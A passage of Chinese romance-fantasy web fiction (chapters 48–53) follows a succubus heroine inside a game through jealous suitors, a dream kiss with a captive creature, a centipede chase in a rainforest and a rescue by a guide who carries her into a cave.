“是呢。”身后的人俯下来,下巴搭在她的肩膀上。她笑眯眯地说,“我们那里才不像你们陆地人,喜欢就在一起,不喜欢就分开。既然夕同简对你不好,你为什么不跟他分开,去找更喜欢你的人呢?” 她弯着腰,手从肩膀环绕下来,整个身体都靠着之芙,一米八的个子压着一米六的她,之芙完全支撑不住,往前栽去——又被身前的戎火扶住了腰。 两张五官相似的脸凑过来,一张爽朗热情,一张沉默俊俏,呼啸而过的海风吹过她的耳畔,之芙晕晕乎乎地瞪大了眼睛。 “嗯……”之芙咬着唇,晕晕乎乎地说,“可是,夕同简不是那样的人……” 完了,她只是顺着系统的话说谎,谁能想到事情会变成这样呢……? 她难得有些愧疚起来,无意识地咬着唇,在柔软的唇瓣上咬来咬去,留下一点儿湿润的痕迹。 “你还要为他解释吗?这可是你自己说的。在我们那里,这样的男人是要被捆在船上扔到海里等死的。你喜欢他什么?” “嗯……”之芙认真地想了想。月光落在她的唇上,一点儿水泽被映得亮晶晶的。 她一脸认真地说:“我喜欢……嗯,我喜欢他温柔听话。” 说下桌就下桌,她很满意。 “听话?”戎火的表情稍微凝固了些。 戎淼轻声笑了下:“夕同简听话?你搞错了什么吧?芙芙,要说听话的话,当然是我——” “——当然是我最听话,对吧,芙芙?”身后忽然传来一个状似温柔,语气却十分冰冷的声音。 戎淼猝然回头,对上了夕同简利剑般的眼睛。 他踩着沙滩慢慢走过来,嘴角含着一丝微笑:“我都不知道你们的关系什么时候变得这么好了。抱着我的未婚妻,是什么意思?” “是我想邀请芙芙一起睡的意思啊。”戎淼笑道,“虽然你们是未婚妻,但是据我所知,在陆地上,即使是未婚夫妻也不好睡在一张床上吧,毕竟——你们那句话怎么说来着,男女有别?” 夕同简顿了顿,也微笑着提醒道:“但是据我所知……你和你的哥哥睡一个帐篷的,对吧?” 他的眼神上下打量着挤着之芙的两兄妹,意思很明显——说是和她睡在一起,结果把她拐到床上,这个意思吗? 他的视线落在之芙身上,她还抿着唇,一副晕晕乎乎的样子,柔软的唇瓣上有些发白的痕迹,像是被咬过了,湿漉漉的,那一点发白的痕迹被海风一吹,红得扎眼。 ……被谁咬过了? 夕同简的心里骤然生出一股难以抑制的怒火,他垂下眼,目光冰冷。 “过来。”他说,“芙芙,过来。” 之芙还晕乎乎的,就听他放轻了声音,重新调整过后的声线里带着温柔,他说:“我等了你很久。” 啊……之前她去洗漱的时候,是说过让夕同简先别睡觉,等她一起来着。因为……她害怕露营在沙滩上会有虫子。 “你说害怕虫子,我已经听话地拿驱蚊香熏过了。”他咬着‘听话’两个字,说着让之芙过来,却自己走了过去,拉住之芙的手臂,把她拽到自己身后。 冲兄妹两人点点头,微笑:“我的未婚妻,就不劳你们费心了。” 海风味远去了,取而代之是一股清晰的消毒水味。夕同简拉着她的手,越走越快。 “夕同简……” “我也来过纳什。”夕同简忽然说。又像是强调般说,“很多次。” 之芙疑惑,话题怎么跳到这个方面去了,她脑袋里全是未曾散去的海风的气息,她下意识转过头,只见身后的戎淼戎火两兄妹还站在海滩上,见她看过来,他们对她挥了挥手。 之芙还想挥手回复他们,忽然被人一拉,扯到前面去。刚刚还站得很远的男人忽然近在眼前,之芙下意识问:“什么?” 月光下,他俯身。皎洁的月光落在他的脸上,他高挺的鼻梁落在一道阴影,把他的脸一半映得明亮皎洁,仿佛毫无瑕疵般美丽,另一半却隐藏在阴影里,看不清楚表情。 “所以,我的意思是……”夕同简的目光落在她的唇瓣上,眼睛里的火光亮得惊人,却慢慢地说,“我对这里也很熟悉,不比他们差。” “你知道你的未婚夫是谁吧?只要你乖乖的……”他的声音温柔得仿佛能滴出水,哄骗着,上前一步,指尖落在了之芙的唇瓣上,摩挲着,“乖乖的,不要离开我身边。这里虫子很多,但我会保护你,把你身边的虫子都赶走,知道了吗。” 他俯下身来,月光彻底照亮了他俊美的脸庞,他身上那股压迫感荡然无存。他另一只手握住之芙的手,把她的掌心贴在自己的脸颊上,蹭了一下。长长的眼睫刮过之芙的掌心。 他的眼睛里,好像有水光。他说:“我也会……很听话的。” 第49章 《大卸八块》 难道你是活了几千年的魅…… “……” “……你来了……” 虚无缥缈的声音从远处传来。之芙只觉得一阵恍惚, 她为什么在这里? 她不是应该在……她努力地回想,却发现脑海中一片空白。等等,她应该在哪里来着? 眼前是一个宽阔敞亮的大房间, 白炽灯把地板照得发亮,面前摆放的一切都十分熟悉, 椭圆透明仪器中的男人眨了眨眼, 细小的气泡顺着他眼睫的颤动往上飘去,发出咕嘟咕嘟的声音,回响在寂静的空间里。 他的手掌紧贴着透明柱, 仿佛非常急迫地想要出来似的, 指尖敲打着玻璃,发出咔咔的声音。 之芙脑海中忽然回想起了不久前她在夕同简的办公室里看到的那份资料上的结论——“推测该生物是一只魅魔”。 魅魔吗?唔…… 之芙的脑海中出现了魅魔学院里那些学长和学姐……魅魔在幼年时期是群体行动的, 只有成年后他们才会选择独自出门觅食, 幼年时父母会把他们送到学院去进行统一的抚养和教育, 通过考试后才能离开学院觅食。 魅魔数量很少, 之芙是学院里最小的那个。自她进入学院后, 此后二十多年,再也没有见过新的学弟学妹,作为魅魔学院最小的学生, 从小到大她都是被蹂躏的那个——她坚持认为自己脸颊上的软肉是被老师和学姐学长揉出来的, 她本来是漂亮的瓜子脸大美人的! 既然面前这个男人, 是人类游戏里造出来的“魅魔”, 也就是说……之芙陷入沉思——他是一个落单的魅魔!没有接受过魅魔学院的教育! 那就可以解释了……为什么他被抓到了研究所做研究,又为什么他在梦里诱骗其他人来到纳什…… 之芙看向透明圆柱里的男人, 对方的脸紧贴着玻璃,眼睛湿漉漉的仿佛一只无害的小动物般,期待着她的靠近。 据夕同简所说, 他潜入其他人的梦里诱惑他们,却从来没有人能成功抵达纳什,所以——这只魅魔,不会从来没有吃饱过吧?! ……好可怜。 她走近一步:“你……” 但男人更加急切。他隔着玻璃,用深情的眼神看着她,柔软的、玫瑰花瓣一般的唇齿开合:“能救救我吗?” “帮我打开这个东西。我想见你……”他俊美得不似凡人的脸庞贴着玻璃,楚楚可怜,轻易就能让人心软。 “那我要怎么帮你开?”之芙问。她打量着面前的仪器,通体圆润,没有任何机关可供开启。 “来,把手贴过来。”他说,“只要这样就可以。” 他的手贴到玻璃上,掌心宽大,指节粗而指尖细长,甚至比他的脸还要大一圈,这明显不是属于人类的身体比例,很容易让人联想到某种有力的、凶残的猎食者…… 可他的脸那么柔软美丽,表情楚楚可怜,仿佛引诱着人走入陷阱。 之芙顿了顿,将自己的手贴了上去:“这样就可以了吗——” 水声哗啦作响,瞬间打断了她的话!巨大的椭圆形仪器仿佛被什么东西击打过似地片片碎裂,巨量的水流仿佛瀑布般倾倒下来,把之芙冲得往后一倒,一屁股坐在了地上。 足足几秒钟之后水才流尽,在地面上积了一层。猝不及防,眼睛里进了点水。之芙眨了眨眼,还没睁眼,忽然感觉到脚踝处传来一阵冰凉的触感,仿佛被水草缠上了脚腕,挣脱不得。 紧接着,“水草”缓慢地顺着脚腕往上攀爬,缠绕上小腿。 男人如同一只湿漉漉的水鬼,自下而上地抓住了她的小腿,露出了一个笑——他嘴唇张开,唇瓣鲜红如血,唇内一片湿红,尖锐的牙齿在实验室寒光的照射下如同一把把细小的刀尖,他双手支起自己,俯身,露出了一种野兽即将进食般的贪婪和恶意,牙齿往下,即将咬住女孩儿脖颈间的血管—— “唔。”女孩儿一下伸出手,食指抵住了他的牙齿。 抚摸野兽的牙齿般,她摩挲了一下他的牙,蹙着眉,仿佛非常忧心的模样。 她说:“你——没吃过东西吗?” 男人愣了一下。 女孩儿接着说:“魅魔不是这么进食的。真是……唉,看在你是个落单的可怜魅魔的份上,我就勉为其难地教教你好了!” “……教?” 他一个字还没完全发出来,紧接着就被女孩用力地掀翻了。 简直难以想象她娇小的身躯里能爆发出这样强大的力量,她坐在他腰上,居高临下地看着他。 然后……慢慢俯身。 他下意识错眼看去,却见她的腿半跪在两侧,小腿上,有一点儿红痕,是非常明显的指印,在雪白的皮.肉上突兀地扎眼。 她的腿并不过分纤细,小腿上的软肉挤压着,裙摆湿哒哒地贴在上面,勾勒出优美的曲线。 他一时愣住了,但身上的女孩一把捧住他的脸。 她俯下身来,脸像是被水洗过的白瓷般,唇瓣却嫣红得仿佛被碾碎的熟果子般糜烂。一滴冰冷的水从她的发梢滴落,砸在他的眼睛里。 他下意识眨了眨眼,就感觉到自己的脸被女孩捧住晃了晃。 “来,先亲我。”——然后他听到她这样说。 思绪都被不知道是什么的空白塞满了,他反应了几秒钟才意识到对方说了什么,他瞪大了眼睛,脑海中“嗡”地一声,想也不想地一把推开她! “等等!” “唔……”之芙被他推了一下,好在对方没有用力,但她还是有些吃痛,眨了眨濡湿的眼睫,她看向自己身下的男人。 对方嘴唇微张,脸上一点嫣红。似乎意识到了什么,他说:“虽然我是你的爱人,但是,但是——” ——不像是有经验的样子。 之芙想了想,忽然意识到了什么,她问:“难道……你是活了几千年的魅魔?” 男人不知道话题为什么拉扯到了这个上面。他愣了一下:“你怎么知道?” “很简单啊!”之芙理解并且充满同情地点点头,“只有出生在封建时代的魅魔才这么……这么……嗯,封建。” 第50章 《大卸八块》 “因为魅魔是不能跟魅魔…… 男人:…… 之芙看他的眼神充满“理解”和“包容”, 她伸出一根手指,在男人面前晃了晃。 男人的眼神不由自主地跟着她的手指,但随即他立刻反应过来, 把头偏向了一边:这个姿势,好像她在逗小狗似的。 他可不是她的小狗。他明明是要吃掉这个女人……而且魅魔又是什么东西…… 忽然, 那双手重新捧了上来。他还没意识到发生了什么, 紧跟着有什么柔软的东西贴了过来。 她捧着他的脸,那本该是一个很有羞辱意味的动作,可她指节分明, 关节和指尖都泛着花苞似的淡粉色, 他浑身卸了力似的动弹不得,柔软的、冰冷的、带着水迹的……那是属于女孩儿的唇瓣, 贴上了他的下巴。 她的亲吻也没什么章法, 小狗似的舔起来, 两瓣冰凉的唇瓣互相触碰, 像是小动物互相依偎着取暖, 湿红的舌尖伸出来,在这个两人都湿漉漉的当下,带着仿佛能融化灵魂的灼热温度。 她不断呵出热气, 柔软的舌挤入唇瓣里, 在他尖锐的鲨鱼牙上流连, 她张着嘴, 像是被碾压后的玫瑰花挤出的甜美津液含不住地往外淌,对方却仿佛不为所动, 齿关比城墙还硬。 之芙嘴巴都酸了,也不得其法。 而且她也没有吃到任何情绪。 这是什么老古板啊!就算是封建魅魔也……不知道她是在教他吗! 他太笨了,一点儿也不好教…… 她有点生气地想着, 喘着气往后撤,舌尖却不小心擦过他锋利的牙齿——“嘶!” 一道血口留在了敏.感的舌尖,她吃痛地想要往后推,对方的唇瓣却紧贴了过来,修长到类似野兽的指尖擒住她的下巴,之芙还没来得及挣扎就被他将脸掰了过去,冰冷的湿润的唇瓣摩挲着她的,笨笨地在她的嘴唇上舔.弄。 舌尖被抿住了,用力地吮吸,之芙顺势掐住男人的手臂,眼睫微颤。 他亲得有点重……笨笨的。似乎一点儿也不会接吻。 像野兽似地,舌尖细致地舔舐敏感的上颚,扫过每一寸软肉,惊愕、茫然、沉醉……不同的情绪纷至沓来,分明是她在进食,他的动作却仿佛要把她吞下去似的热情,心脏咚咚作响,又被一层雾气似的东西笼罩、拉远,一切都坠到了遥远的天边。 ——果然是老古板,接吻都不会。太笨了。 但是,她还是很有教育天赋的嘛!之芙亲得好累,双手按在他的肩膀上,迷迷糊糊却无不骄傲地想。 哼哼,她可是魅魔学院的优秀毕业生!虽然,虽然她还没通过毕业考核…… 一吻毕,舌尖从唇瓣里依依不舍地撤出来,发出了一声清晰的水声,听得男人耳朵发红。 之芙哼哼唧唧地撑着他的肩膀,说:“你还不算笨。” ——其实是很笨!但她要给他一点信心。要关心落单的可怜魅魔。 然而,她正打算再鼓励一下对方的时候,却见男人茫然地眨了眨眼,一滴水珠从他的眼睫滑落,他的视线紧紧地追着她开合的嫣红唇瓣,却说:“……什么?” “接吻呀!你平常不吃饭吗?”之芙用手背擦了擦嘴巴,她的唇瓣都肿了起来,微微发红地震颤着,她撇撇嘴,又指着自己的嘴巴说,“你看你,弄得我好痛。要温柔一点,知道吗?” 男人的视线完全被她的手指吸引,这会儿他不觉得她像是在招狗儿了,只晕晕乎乎地点头。 “看在你没经验的份上,这次就算了。我比你有经验,我要包容你。”她抿着唇,一只食指点了点他的鼻尖,“不过,你要听我的。以后我让你做什么,你就要做什么……” 男人却一把抓住了她的手。他表情微怔,很凶地皱着眉头。问:“你很有经验?这种事?” “那当然!”之芙得意洋洋地说,“像你这样活在封建时期的魅魔是不会懂得,我们现代魅魔过得可好了,你跟着我我包你吃香喝辣……唔……” 他不由分说又亲了过来,狂风骤雨一般激烈的舔舐,勾着她柔软的舌尖用力吮吸,疯了般啃噬她的唇瓣,本就红肿的唇瓣被粗暴碾磨,之芙几乎要错以为自己要被对方吃掉了,大脑都要缺氧了。 迷迷糊糊之中,只听他气笑了似地,咬牙切齿地说:“你还亲过谁?” “唔……”之芙心想,很多啊。问这个问题,好奇怪。难道他会记得自己一周前吃过什么饭吗? 男人放缓了亲吻。比人类长出不少的舌尖几乎塞满了她湿红的口腔,缱绻地舔舐着她的唇瓣,碾在红肿的唇瓣上,带着轻微的刺痛和酥麻。 “和谁?”他柔情款款,语气中却仿佛压着一场风暴,柔情款款地问,“和你那个未婚夫吗?” “呜……”因为轻度窒息,她的脑袋还混沌着。过了好几分钟,才勉强理解了他的话。 ——那也没有啦……因为、因为夕同简也是个笨蛋……她还没来得及亲他呢。 男人见她不回答,自顾自地,轻轻地说:“我去杀了他,你就能跟我在一起了。好不好?” 他的指尖摩挲过之芙的发红的眼角,她的眼睫轻轻颤动着,鸦羽似的眼睫上沾着一层淋漓的水光,仿佛一只被打湿了翅膀的小鸟,不堪重负地翕动着,因为缺氧,脸上浮着一层薄红,柔软的两腮上挂着细密的汗珠,透出一层可口的湿红。 他静静地等待着她的回复。 他很有耐心,也很有信心。毕竟,她曾经答应他来到纳什,而且她也不像是喜欢她那个未婚夫的样子,再说了……他漫不经心地打算着,如果她不愿意,那他也可以先下手…… ——“不行!” 他听到她说。就那么喜欢那个“未婚夫”?哼,没眼光的眼泪,看起来根本就没有他好看,还…… 女孩认认真真的表情打断了他的思绪。 她一脸认真地说:“不行!” “为什么?” “因为……唔。”她说,“因为魅魔是不能跟魅魔在一起的呀!” 就像……她在魅魔学院的时候,就有不少喜欢她的魅魔。可是老师说魅魔是不能跟魅魔在一起的! 50-60 第51章 《大卸八块》 她抬头一看,熟悉的脸—…… “因为魅魔是不能跟魅魔在一起的呀!”之芙说着, 胡乱摇着头,嘴里念叨着“不行不行”。她有点头晕,过度摄入情绪后魅魔会被这种情绪主导, 就像现在她被男人茫然的情绪感染了,像是醉酒一样头晕眼花, 努力睁开眼睛。 男人湿漉漉的脸凑到了她跟前, 他看起来有些疑惑:“为什么?” “你怎么连常识都不懂啊……真笨。”之芙嘟嘟囔囔,“你是魅魔,我也是魅魔, 我们在一起, 就要一起饿死了,除非你把你的情绪给我吃……但魅魔又不好吃。” “魅魔?不好吃?”男人反问。 “嗯, 不过……你是我见过的最好吃的魅魔, 和其他魅魔不一样。”之芙晕晕乎乎地, 感觉眼前的一切都在旋转, 男人还不厌其烦地用舌尖舔舐着她的唇缝。她有点烦躁地挥挥手, “走开啦,你弄得我嘴巴好痛。” 男人又问:“魅魔是什么?” 他不会连自己是魅魔都不知道吧?好可怜……他从小到大都是一个人长大的吗?那这样的话好像也可以理解。之芙想了想,耐着性子说:“魅魔呢, 就是……呃。”话说一半, 忽然卡住了。该怎么解释魅魔是什么?这个话题大概就像人类也没有办法像其他人解释人类是什么东西一样吧…… “反正我们是不可以在一起的!”之芙说, “你记住这点, 之后的我以后再跟你慢慢——” 话没说完,男人重新缠上来, 一声叠一声的问:“为什么?为什么?为什么?” “为什么不可以?为什么?” “为什么?” 一声接着一声,仿佛痴缠的怨鬼,原本明亮而冰冷的灯光“刺啦”一声跳动起来, 明明灭灭的闪烁着,天地陷入一片黑暗,不知道从哪里来的、濡湿的肢体缠绕上之芙的手臂和大腿,随即越收越紧越收越紧—— 而男人还在质问着:“为什么?” “为什么?” “为什么?” “……” “呼——!!!”之芙骤然从地上坐起来。 从梦境中惊醒的恍惚挥之不去,她头晕目眩,胸口闷闷地发痒,脑袋一片嗡鸣,足足三分钟过去她才“咳咳咳!”地剧烈咳嗽起来。 味觉、触觉、视觉仿佛飘离身体的灵魂一般,后知后觉地返回到她的身上,之芙感觉到嘴里和鼻子里都满是咸腥的味道,仿佛刚刚在海里呛了一口水似的。 海里……对了,她现在在哪里?她想起来了,她之前明明在夕同简的帐篷里睡觉,裹在暖和的被子里等待着第二天和其他人一起探索纳什才对。 她怎么会莫名其妙到了这个地方? 她的腿有点发麻。掀开裤子,白皙的小腿上印着一条一条的红痕,那是一种很奇怪的痕迹,像是水草缠在腿上留下的印记似的,还有一个个指尖大小的圆圈,像是……章鱼触腕上的吸盘留下的痕迹,从膝盖往上,暧昧地在小腿上呈现出一种艳丽的糜色,没入淡粉色的膝弯里。 她两只腿都发麻了…… 之芙环顾四周,她现在似乎在处在某个地下溶洞的洞口处,周围是茂密的丛林,一眼望不到尽头,也难以辨清方向。她的身后则是昏暗的溶洞,深得仿佛看不见尽头。她身下坐着的是溶洞和丛林交汇处的一片平坦沙地,周围的土地和丛林找不到一丝一毫人类行动后留下的痕迹,这是一片从未有人踏足的土地。 之芙站起来,发现自己还穿着昨天晚上睡觉时穿的衣服,好在昨天晚上睡觉前,夕同简坚持让她穿上了一身防风的保暖睡衣,外面套着一件防水衣,据说这是为了在出现什么意外的时候方便快速行动的准备——当时之芙还觉得穿这么厚睡觉不舒服,但现在却要感谢他的先见之明了。 虽然不知道自己是怎么来到这里的……但周围见不到其他人,一定是梦里的那个魅魔搞得鬼。 她双手比作喇叭放在嘴边:“夕同简——小严——小赵——” 声音在身后的洞穴中不断回响,她又等了片刻,始终没有回复。 之芙咬咬唇:这里是什么地方?离昨晚的营地远吗?看天色已经是正午了,夕同简他们发现她消失了,应该会来找她吧。 但他们也不知道她去哪里了…… 之芙摸了摸包,衣服口袋里能塞下的东西不多,一包纸,几颗向导兄妹给的糖,还有不离身的手机。之芙打开手机,手机的电还是满格的,但没有信号,试着发了几次消息都显示发送不出去。 手机上显示的时间是下午一点过,时间应该是没有问题了,其他功能例如手电筒也没有问题,之芙往外走了几步,举着手机试图找到一丝信号——科考船和营地上都有信号仪,离得近就能连接上。 大概是靠近溶洞,这里的丛林还不算太高,但空气潮湿又闷热,脚下遍布泥泞的苔藓,时不时能看到路过的巨型昆虫——她忍着反胃小心翼翼地拢着衣服,生怕那些虫子从树上掉下来落进她的衣服里,不一会儿,头上就出了一脑门的汗。 她一边找路一边每隔几分钟就大声呼喊,但仍旧没有回答,手机也没有信号,再往前走,巨大的树冠笼罩着天空,像是一个个巨人站在她的身边,正值中午,树林里却被树冠挡得严严实实,一片昏暗。 “夕同简——戎淼——戎火——” 树林中只有回声,片刻后,连回声也消失了,不知道是什么虫子一直在发出“嘶嘶”的鸣叫声,仿佛天地间只剩下她和那些奇怪的虫子。 不知道走了多久,目之所及只有一片似乎永远也走不到尽头的丛林,但耳边却渐渐听到了海浪的声音。 这里应该很靠近海边了。但——明显不是他们登录的那个海滩,夕同简在海滩营地里放了信号仪,只要靠近那里就会有信号的,在这里她却怎么也找不到信号。 先……往前走,走到海边去,然后从海岸线往东边走,海岸线比雨林安全多了。 之芙下定了决心,小心翼翼地拿着手机,打开手电筒,低头看着脚下的路往前走。 走着走着,之芙忽然感觉到脖子凉凉的,像是有什么水滴了下来。雨林里本来就潮湿,这一路上数不清楚有多少露水滴进她衣服里,她擦擦衣服准备继续往前走,忽然,脑海中系统说:【回去。】 【什么?】之芙有点懵。这几天系统都没有说话,这还是她来到这个游戏里之后系统第一次主动跟她说话。 【往回走。】系统的语气还是冷静的,但声音很急切,他没说为什么,【跑起来——跑!!!】 但来不及了,之芙下意识仰头—— 头顶,一只比手臂还长的蜈蚣正趴在树上,它数不清楚的脚蠕动着,从一条垂下的气根上爬下来,半边身体垂在空中,触肢还在空气中蠕动着,几乎贴在了她的脸上。 刹那间之芙连尖叫都没发出来,她拔腿就跑! 身边霎时响起”窸窸窣窣“的细小的声音,仿佛一瞬间有千万条蜈蚣的触肢一起在爬动,她不敢回头去看,似乎是她误入了巨型蜈蚣的领地,现在不知道多少蜈蚣在身后追她。 窸窸窣窣的声音不断灌进之芙的耳朵里,她最怕这种虫子,几乎魂不附身地拼命往后跑,眼泪狂掉,只有一个念头在脑海中滚动播放—— 人类世界为什么会有这么可怕的东西啊啊啊啊啊啊!!!!老师她想回学校啊啊啊啊!!!! 她没命地往回跑,连什么时候鞋子掉了都不知道,脑海中一片空白,直到—— 她猛地撞进了一个人的怀里。 “等等!停下!”那人的声音里带着艰涩的口音,“你……怎么在这里?” 之芙还在瑟瑟发抖,耳边仿佛还回响着那些窸窸窣窣的动静。她抬头一看,熟悉的脸——居然是戎火。 第52章 《大卸八块》 戎火仍然沉默着,像一座…… “你怎么在这里?”之芙恍惚地问。 在无人的丛林里走了大半天, 眼前骤然出现这么一个人,她还以为——还以为是自己的错觉呢。她望向戎火身后,空无一人, 仿佛他是凭空出现在丛林中、出现在她面前的。 戎火的眼睛死死地盯着她,好半晌, 像是松了口气般:“我……你。”他似乎不明白该怎么说, 做了个寻找的手势。 “你、怎么在这里?”他问。 “我……我也不知道,我一觉醒来就……我刚刚在被蜈蚣追!”她一边喘着气说一边回头想看看身后的虫子有没有跟来,戎火察觉到了什么, 摁住她的脑袋。他做了一个手势, 大意是那些虫子不会离开他们的领地,他垂下眼, 看向之芙的腿。 她的鞋子都跑掉了。白皙的脚踝上沾着脏兮兮的泥土和青苔, 还有点血迹, 大概是踩在石头上割伤的, 但因为恐惧而没有发现。 她还惊魂未定地喘着粗气, 一张娇小的脸上满是恍惚,脸颊上蹭着泥土,又被泪水冲刷出一道痕迹。她明显没有看懂他的手势的意思:“先别停在这里, 我们再走里面一点——喂!” 戎火一下把她抱了起来——或者用“拔了起来”更恰当。他高大健硕, 抱起她像是从地上拔起一颗弱不禁风的小树苗, 之芙吓得惊呼, 却根本没有明白他的意思。 他一只手拢住她的挣扎,大步流星地往后走去, 片刻后把她放在溶洞前面的一块大石头上,指着她脏兮兮的脚。 之芙这才像是反应过来,呲牙咧嘴地把脚并拢放在石头上, 露出吃痛的表情来。 “这个……”她往旁边看了看,看到不远处有个水坑,于是从石头上跳下来往水坑走,“还是洗一下——哇啊!” 她又被“拔”了起来。 高大沉默的男人把她重新放回了石头上,做了个“不行”的手势。 “为什么不行?” 男人沉默地看着她,一双眼像是燃着火光。他似乎想了想,嘴里说了几句方言,但之芙完全没有听懂,看到她迷茫的眼神,男人也露出了叹气的表情,只是不断地说:“不行。” ……到底为什么不行啊。之芙的脚很痛,又满是泥土,黏糊糊的。这样下去伤口肯定会感染的,但戎火又不让她去清洗,只是固执地摇头。 ……像一只沉默而固执的笨狗狗。 不仅笨,还很有力气,单手就能把她抱起来。 之芙的脚跟在沙地上蹭了蹭,正恼火着,却见戎火骤然半跪了下去,他扯出自己的衣服下摆,另一只粗糙的手握住她的脚后跟,用衣服擦拭起来。 “你……” “嘘。”他又做了个噤声的手势,专心地擦着掌心里柔软的皮肤,先擦掉泥土,然后检查伤口的感染程度和有没有寄生虫钻进伤口,这是雨林生存必须要注意的一点,因此他看得很专心,丝毫没有注意到之芙的反应,直到—— 头顶,传来了一声低声的“唔”。 他骤然抬头,却见女孩儿红着眼眶,眼睫有些濡湿,面上一片红晕,额头挂着一滴冷汗,淡粉色的膝盖并拢在一起,咬着唇蹙眉看着他。 “……对不起。”他顿了顿,有点艰涩地说,“我,小力气一点。” 他几乎是狼狈地收回视线,把自己的眼睛只放在她的腿上,可是她脚尖因为刺痛而挺得笔直,花苞似的脚趾蜷缩着,脚背上的血管凸出来一点儿,沙石磨出的红痕扎眼地立在上头,她的皮肤实在很娇嫩,被粗糙的布料一擦,泛出可怜的红色来,让他怀疑自己一用力,这只细长白皙的、还没有他胳膊粗的小腿就会被他捏碎。 他罕见地手足无措起来。 她是……和他的生命、和他的海岛格格不入的人。他能在雨林里如履平地,面无表情地用匕首砍掉野兽的头,却在面对柔软的她的时候手足无措。 他感觉自己额头好像冒出了汗珠,却来不及擦,粗糙的指尖捏住脚踝,向上—— 女孩儿顺势往后仰。刹那间他脑海中出现了一个念头:他的手太粗糙了,满是老茧,会把她弄疼吗? 他的手握住柔软丰润的一点儿腿肉,一只手握住,甚至还有点儿空隙。腿肉藏在衣服里,是柔软的,有些肉嘟嘟,他的手放在上面,被挤出的腿肉翻过来挤压着他的虎口,洁白如同温热的羊羔毛。 “你,轻点儿……”头顶的女孩儿颤声说。 她的腿上有一道伤口,大概是树枝划出来的,又长又深,沾着泥和青苔。 戎火抬头看了她一眼,一手抬起她的大腿,另一只手指了指自己的唇。 之芙蹙眉,声音也软软的,湿漉漉的:“什么?” 下一秒,他没有回答,俯身压了下去,干燥的唇抵住伤口,抿出着伤口里的污水。 “啊——呜!”之芙小小声地惊呼,又立即捂住了嘴。 她眼睫乱颤着,戎火那张粗糙而俊美的脸贴在身下,仿佛变成魅魔的人是他,炽热的吐息拍打下来,滚烫的唇瓣紧贴着伤口,灵活的舌尖一舔一抿,吸出泥沙,啪一下吐在旁边。 他在腿间抬起头,镇定地看着她,打着手势示意没有问题了。 ——唇瓣上却水光淋漓,沾着血迹。 他神态自若地站起来:“没事了……走吧。” ——之芙有事。她拢着两只腿,因为疼痛细微地打颤,抿着唇:“去哪儿?我腿疼……” 之前逃命的时候肾上腺素狂飙没有感觉,现在一停下来顿时浑身无力,腿上细细密密的擦伤和刮伤一阵阵地刺痛,她坐在石头上就像小美人鱼坐在礁石上似的,每走一步都像是踩在刀尖上。 她小声地吸气,又问:“其他人呢?他们没来吗?你是怎么来到这里的?” 戎火做了个手势——之芙完全没看懂。他的表情有点挫败,又说:“其他人找……你。我……他们,没来。”紧跟着又是一长串她听不懂的话。 戎火看起来应该能明白她的意思,但他却不知道该怎么回答。怪不得戎火是雨林生存的专家,夕同简却要把兄妹俩一起请来。没有戎淼,他几乎无法跟人交流。 之芙叹气,比划着手势:“那你能带我去找他们吗?” 这句话戎火听懂了。他顿了顿,摇摇头,又指指天上。 之芙抬头一看,悚然一惊——不知何时,太阳已经落在了海平线的边缘。她下午出发去找路的时候已经很晚了,又不知道一个人走了多久,一来一回很是耗费时间,加上雨林本就被树冠遮盖,越到下午光照越差,现在还能看到太阳的颜色,恐怕十几分钟后这里就伸手不见五指了。 来之前,她也看过夕同简给的《雨林探险生存事项》的,知道在雨林里不能半夜赶路,雨林白天闷热,因此夜晚许多野兽和毒虫都会出来觅食,夜晚还在雨林里停留绝对是不明智的。 戎火见她拢着膝盖坐在原地,三步并作两步走上起来,蹲在她面前。 之芙:“嗯?” “上来。”他侧着头看了她一眼,言简意赅。 天马上就要黑了。之芙想到那些丛林里巨大的蜈蚣和数不清楚的毒虫毒蛇,也不客套,直接从石头上跳上了他的后背:“我们去哪里?” 戎火仍然沉默着,贴着他的后背,能感受到他呼吸时稳定而有节奏地起伏的胸膛,像一座让人安心的山。 但之芙很快就知道他们要去哪里了——戎火背着她,走进了面前漆黑的溶洞里。 第53章 《大卸八块》 他说:“你不是,要教我…… “啪嗒”一声, 手机的手电筒照亮了面前的一小方空间。 之芙趴在戎火的背上,伸出一只手举着手机的手电筒,照亮前方的路。戎火看起来不是很需要手电筒的样子, 他常年生活在雨林里,想必夜视能力非常好——但之芙就不一样了, 她只是一个普通魅魔。 溶洞里非常安静, 连雨林里常见的虫子鸣叫的声音和风声都消失了,只有戎火稳定地、有节奏地脚步声,不断在空旷的溶洞内回响。 “我们这是要去哪里?”之芙忍不住问。 他们越走越深了。之芙看了眼时间, 大约已经过去了十分钟, 戎火走在坑坑洼洼的溶洞内如履平地,他们似乎已经进入了溶洞的内部, 但还远远没有走到尽头。从外面看, 简直难以想象这座海岛上还有如此深的地下溶洞。 “外面……危险。”戎火说。“再……一点。” 这大约是外面太危险, 要再躲深处一点的意思。之芙理解地点点头, 却忍不住圈紧了戎火的脖子, 缩了缩。 这里……太黑了。四周是坑坑洼洼的沙土地和大小不一的水坑,头顶是一棵棵垂下的嶙峋怪石,仿佛一把把利剑高悬于头顶。 唯一的光源只照亮脚下, 四周伸手不见五指, 仿佛天地间只有这一束光、只有他们两个人。 但最令人感到胆颤的, 不仅仅是黑暗, 还有四周的死寂,可以感觉到这里从来没有任何人类生存居住或短暂路过, 仿佛隔绝于人世间的另一片凭空出现的土壤——未知永远是最恐怖的。 如果戎淼在这里,或许还能跟她说说话,但偏偏是戎火, 他们之间语言不通,之芙只能听到隔着衣服听到他平稳的呼吸声和沉静的心跳声。 之芙忍不住在心里偷偷地喊系统:【系统……】 【怎么了?】系统的声音依旧冷静,在这样的环境里给了她莫大的安慰。 之芙又指挥系统把直播间打开,大概因为现在是傍晚,正是热闹的时间,所以直播间里的人很多,滚动刷过去的弹幕终于让她安心了不少,之芙看着直播间的弹幕闲聊,忽然注意到了什么:【为什么直播间里来来去去都是这些人?】 【那些?】系统不答反问。 【“不想加班”、“怎么又出bug了”“绝美爱情我磕磕磕”“家有四条狗”……】之芙对着弹幕念出了几个熟悉的ID名字。其实直播间里人不少,现在显示的在线人数大概在两千左右,对于一个刚开播的直播间来说算是很好了,但…… 之芙问:【怎么没有见到我熟悉的ID?】这不应该啊。 她是个名气不小的主播了,有很大一批死忠观众,就算开播突然,不是人人都来,但也应该有些熟悉的人吧。怎么来来去去都是这些人?之芙记得这些人都是她开始播这个游戏时才来直播间的新人。 【不知道,可能是你看漏了吧。】系统状似随意地说。 之芙斩钉截铁:【不可能!我可是个大大大——大主播!我很厉害,很有经验的。】 